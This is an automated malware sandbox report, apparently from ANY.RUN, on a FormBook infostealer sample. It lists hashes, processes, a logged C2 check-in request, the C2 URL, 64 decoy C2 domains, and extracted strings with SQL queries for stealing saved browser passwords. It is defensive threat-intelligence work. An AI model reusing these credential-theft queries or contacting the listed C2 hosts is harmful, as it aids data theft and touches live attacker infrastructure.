| File name: | 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b |
| Full analysis: | https://app.any.run/tasks/2858d261-9a0e-4432-a01e-597a28656801 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | May 11, 2025, 21:48:00 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections |
| MD5: | 3FC0760390D1E5585BC3D6F02728F5C2 |
| SHA1: | CB42F38D034870FD0E8C0AD7E4AE310081361049 |
| SHA256: | 06901D6C746FF7A68FF33D42CE284D242E7E996DC23E321D551F604F62453A4B |
| SSDEEP: | 6144:iG3r4JvgZKNs/g2J//RlcID2SEzoqLkSb9GkZLDwBrG8gYM0NJzepCZUr:iG3rsaKWJ//LF2SEz/kSb1Z/4zbJn6 |
MALICIOUS
FORMBOOK has been detected
- ipconfig.exe (PID: 672)
- explorer.exe (PID: 5492)
FORMBOOK has been detected (YARA)
- ipconfig.exe (PID: 672)
FORMBOOK has been detected (SURICATA)
- explorer.exe (PID: 5492)
Connects to the CnC server
- explorer.exe (PID: 5492)
SUSPICIOUS
Application launched itself
- ioawmefu.exe (PID: 6972)
Executable content was dropped or overwritten
- 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe (PID: 6192)
Process uses IPCONFIG to get network configuration information
- explorer.exe (PID: 5492)
Starts CMD.EXE for commands execution
- ipconfig.exe (PID: 672)
Contacting a server suspected of hosting an CnC
- explorer.exe (PID: 5492)
INFO
Reads security settings of Internet Explorer
- explorer.exe (PID: 5492)
The sample compiled with english language support
- 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe (PID: 6192)
Create files in a temporary directory
- 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe (PID: 6192)
Checks supported languages
- ioawmefu.exe (PID: 6972)
- ioawmefu.exe (PID: 6800)
- 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe (PID: 6192)
Reads the computer name
- ioawmefu.exe (PID: 6800)
Manual execution by a user
- autoconv.exe (PID: 3676)
- autoconv.exe (PID: 2504)
- autoconv.exe (PID: 7012)
- ipconfig.exe (PID: 672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Formbook
(PID) Process(672) ipconfig.exe
C2www.goanyq.icu/st58/
Strings (79)USERNAME
LOCALAPPDATA
USERPROFILE
APPDATA
TEMP
ProgramFiles
CommonProgramFiles
ALLUSERSPROFILE
/c copy "
/c del "
\Run
\Policies
\Explorer
\Registry\User
\Registry\Machine
\SOFTWARE\Microsoft\Windows\CurrentVersion
Office\15.0\Outlook\Profiles\Outlook\
NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
\SOFTWARE\Mozilla\Mozilla
\Mozilla
Username:
Password:
formSubmitURL
usernameField
encryptedUsername
encryptedPassword
\logins.json
\signons.sqlite
\Microsoft\Vault\
SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins
\Google\Chrome\User Data\Default\Login Data
SELECT origin_url, username_value, password_value FROM logins
.exe
.com
.scr
.pif
.cmd
.bat
ms
win
gdi
mfc
vga
igfx
user
help
config
update
regsvc
chkdsk
systray
audiodg
certmgr
autochk
taskhost
colorcpl
services
IconCache
ThumbCache
Cookies
SeDebugPrivilege
SeShutdownPrivilege
\BaseNamedObjects
config.php
POST
HTTP/1.1
Host:
Connection: close
Content-Length:
Cache-Control: no-cache
Origin: http://
User-Agent: Mozilla Firefox/4.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://
Accept-Language: en-US
Accept-Encoding: gzip, deflate
dat=
f-start
f-end
Decoy C2 (64)ariaspuccini.coach
ailebasvurulari.xyz
apexconsys.com
paymentnland.com
anniestannie.net
airdriechristianyouthgroup.com
vibezclothings.com
ariellabrock.autos
gloverconsulting.online
cc66007d.com
d55hnw.top
larrydeviney.com
zbhhzs.com
salarapk.com
llamalister.com
bzykaj.com
camloi.xyz
vitalidadenaturalebemestar.com
thefitmove.com
abbyamuwo.com
alcaponestreetwear.store
capeannpropertyservices.com
rivederauditing.online
orlandosfencing.com
blitzmine.com
0869529738.buzz
promodubz.com
stove-mk.bond
wetoala7.vip
50614.top
thetoit.com
l81rv578r.shop
gobabysafety.shop
courses.best
kais460.xyz
darkwebs.xyz
lifecycleimages.com
rtpslotklik313gacor.com
jtq7y.top
ytgrowthhub.com
babsoutdoor.online
thebuggyponcho.com
airgalonjakarta.site
toptitlecompaniesinflorida.com
jizzoffproducts.online
sewtag.com
increasingmyhappiness.com
22galbraithstreet.com
olivaclothes.com
mictor14.site
cornerlapf.cfd
onaenterprise.com
hkbduidaausuy.com
withmaca.com
therealcreditplugs.com
mediaverseproduction.com
klemail.top
truepanthersecurity.info
cruises-95349.bond
napkimcuongpati.shop
arcos-us.com
thestylingkit.com
riseupwithpaiges.com
520upland.com
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2016:04:02 03:20:05+00:00 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 23552 |
| InitializedDataSize: | 120320 |
| UninitializedDataSize: | 1024 |
| EntryPoint: | 0x30fb |
| OSVersion: | 4 |
| ImageVersion: | 6 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.14.7.4 |
| ProductVersionNumber: | 1.14.7.4 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Windows, Latin1 |
| CompanyName: | concert |
| FileDescription: | copy |
| FileVersion: | 1.14.7.4 |
| ProductName: | reluctance |
| ProductVersion: | 1.14.7.4 |
Total processes
137
Monitored processes
13
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 672 | "C:\Windows\SysWOW64\ipconfig.exe" | C:\Windows\SysWOW64\ipconfig.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
Formbook(PID) Process(672) ipconfig.exe C2www.goanyq.icu/st58/ Strings (79)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start f-end Decoy C2 (64)ariaspuccini.coach ailebasvurulari.xyz apexconsys.com paymentnland.com anniestannie.net airdriechristianyouthgroup.com vibezclothings.com ariellabrock.autos gloverconsulting.online cc66007d.com d55hnw.top larrydeviney.com zbhhzs.com salarapk.com llamalister.com bzykaj.com camloi.xyz vitalidadenaturalebemestar.com thefitmove.com abbyamuwo.com alcaponestreetwear.store capeannpropertyservices.com rivederauditing.online orlandosfencing.com blitzmine.com 0869529738.buzz promodubz.com stove-mk.bond wetoala7.vip 50614.top thetoit.com l81rv578r.shop gobabysafety.shop courses.best kais460.xyz darkwebs.xyz lifecycleimages.com rtpslotklik313gacor.com jtq7y.top ytgrowthhub.com babsoutdoor.online thebuggyponcho.com airgalonjakarta.site toptitlecompaniesinflorida.com jizzoffproducts.online sewtag.com increasingmyhappiness.com 22galbraithstreet.com olivaclothes.com mictor14.site cornerlapf.cfd onaenterprise.com hkbduidaausuy.com withmaca.com therealcreditplugs.com mediaverseproduction.com klemail.top truepanthersecurity.info cruises-95349.bond napkimcuongpati.shop arcos-us.com thestylingkit.com riseupwithpaiges.com 520upland.com | |||||||||||||||
| 1052 | /c del "C:\Users\admin\AppData\Local\Temp\ioawmefu.exe" | C:\Windows\SysWOW64\cmd.exe | — | ipconfig.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2096 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2504 | "C:\Windows\SysWOW64\autoconv.exe" | C:\Windows\SysWOW64\autoconv.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Auto File System Conversion Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3676 | "C:\Windows\SysWOW64\autoconv.exe" | C:\Windows\SysWOW64\autoconv.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Auto File System Conversion Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5344 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5492 | C:\WINDOWS\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6192 | "C:\Users\admin\AppData\Local\Temp\06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe" | C:\Users\admin\AppData\Local\Temp\06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe | explorer.exe | ||||||||||||
User: admin Company: concert Integrity Level: MEDIUM Description: copy Exit code: 0 Version: 1.14.7.4 Modules
| |||||||||||||||
| 6800 | "C:\Users\admin\AppData\Local\Temp\ioawmefu.exe" | C:\Users\admin\AppData\Local\Temp\ioawmefu.exe | — | ioawmefu.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
885
Read events
884
Write events
1
Delete events
0
Modification events
| (PID) Process: | (5492) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Security and Maintenance\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0 |
| Operation: | write | Name: | CheckSetting |
Value: 23004100430042006C006F00620000000000000000000000010000000000000000000000 | |||
Executable files
1
Suspicious files
1
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6192 | 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe | C:\Users\admin\AppData\Local\Temp\ioawmefu.exe | executable | |
MD5:F63E55E626BC2725A3BF7F51A97A2828 | SHA256:9AEE5453D23545FB9A3D225DF070BC530FCCFF343CF11ACB27F00FE46DE15586 | |||
| 6192 | 06901d6c746ff7a68ff33d42ce284d242e7e996dc23e321d551f604f62453a4b.exe | C:\Users\admin\AppData\Local\Temp\wgwml.inj | binary | |
MD5:E9F6A2142E0E18A77ABA8D8F741B00CA | SHA256:C2C2493B69008E1ADC93B26BECBE02E56D875E65BD96CC4FC640739E4A97FAB1 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
21
DNS requests
15
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.172:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1240 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5492 | explorer.exe | GET | 404 | 3.33.251.168:80 | http://www.orlandosfencing.com/st58/?-Z=ntxdz6X0ttUDY6&2dd=bQuCANzRSJ02FG8niwePt1HaZhBSxDxvAWHAW7Sl8Iqd0j9F5P8lOghMQAX+JpuB8c8X | unknown | — | — | malicious |
1240 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.48.23.172:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.14:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2112 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
www.orlandosfencing.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
2196 | svchost.exe | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |